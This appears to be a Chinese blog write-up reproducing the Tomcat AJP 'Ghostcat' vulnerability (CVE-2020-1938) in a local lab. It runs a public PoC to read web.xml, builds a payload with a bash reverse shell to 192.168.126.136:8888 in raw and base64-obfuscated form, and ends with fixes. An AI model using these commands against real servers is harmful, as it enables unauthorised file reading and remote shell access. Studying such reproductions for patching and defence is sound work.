天天看點

CVE-2020-1938 Tomcat AJP漏洞複現

0x00 簡介

Tomcat在server.xml中配置有HTTP連接配接器和AJP連接配接器,AJP連接配接器可以通過AJP協定與另一個web容器進行互動。AJP協定是定向包協定,其使用端口為8009端口,為提高性能,AJP協定采用二進制形勢代替文本形勢。

0x01漏洞簡介

在2020年2月20日,CNVD釋出了漏洞公告。該漏洞是Tomcat AJP協定存在缺陷而導緻,攻擊者可以通過構造特定的參數,讀取tomcat的webapps/ROOT目錄下的任意檔案。同時,若該伺服器存在檔案上傳功能,攻擊者還可以進一步實作遠端代碼執行。

0x02 影響版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31
           

0x03 環境搭建

本次測試使用 kali 20.4版本,tomcat 為8.5.50版本

  1. 搭建好 tomcat 的環境
    CVE-2020-1938 Tomcat AJP漏洞複現
  2. 本次測試使用 python2.7 版本并已配置相應 pip
    python --version
    pip2 --version
               
    CVE-2020-1938 Tomcat AJP漏洞複現
  3. 開啟tomcat伺服器,并檢查8009端口是否開啟
    CVE-2020-1938 Tomcat AJP漏洞複現
    CVE-2020-1938 Tomcat AJP漏洞複現

0x04 任意檔案漏洞複現

poc連結:https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

  1. 進入poc目錄下執行以下指令安裝依賴包
    pip install -r requirements.txt 
               
    CVE-2020-1938 Tomcat AJP漏洞複現
  2. 執行以下指令進行檔案讀取,-p 接目标系統開放的端口,最後跟上目标靶機的 IP
    python poc.py -p 8009 -f "/WEB-INF/web.xml" 127.0.0.1
               
    CVE-2020-1938 Tomcat AJP漏洞複現

執行以下指令檢視 Tomcat 的 webapps/ROOT 目錄

cd ROOT
ls -l
           

結果如下圖所示:

CVE-2020-1938 Tomcat AJP漏洞複現

0x05 檔案包含緻RCE漏洞複現

  1. 構造payload,并将 payload 放置在 webapps/ROOT 目錄下
    CVE-2020-1938 Tomcat AJP漏洞複現
    1.txt 檔案内容如下:
    CVE-2020-1938 Tomcat AJP漏洞複現

    其中第一行 exec 包含的就是我們構造的指令

    這裡的bash指令是由 線上生成器 生成

    # raw:
    bash -i >& /dev/tcp/192.168.126.136/8888 0>&1
    # after confusion
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzYvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
               
    CVE-2020-1938 Tomcat AJP漏洞複現
  2. 在webapps/ROOT下開啟本地監聽
    CVE-2020-1938 Tomcat AJP漏洞複現
  3. 執行以下指令運作 poc
    python poc.py -p 8009 -f 1.txt 127.0.0.1
               
    CVE-2020-1938 Tomcat AJP漏洞複現
  4. 成功反彈shell
    whoami
    dir
               
    CVE-2020-1938 Tomcat AJP漏洞複現

0x06 漏洞修複

1.臨時禁用AJP協定端口:在 conf/server.xml 配置檔案中注釋掉117行的 <Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” /> ,然後重新開機伺服器。

2.官方已釋出新版本完成漏洞修複,下載下傳新版本即可。

繼續閱讀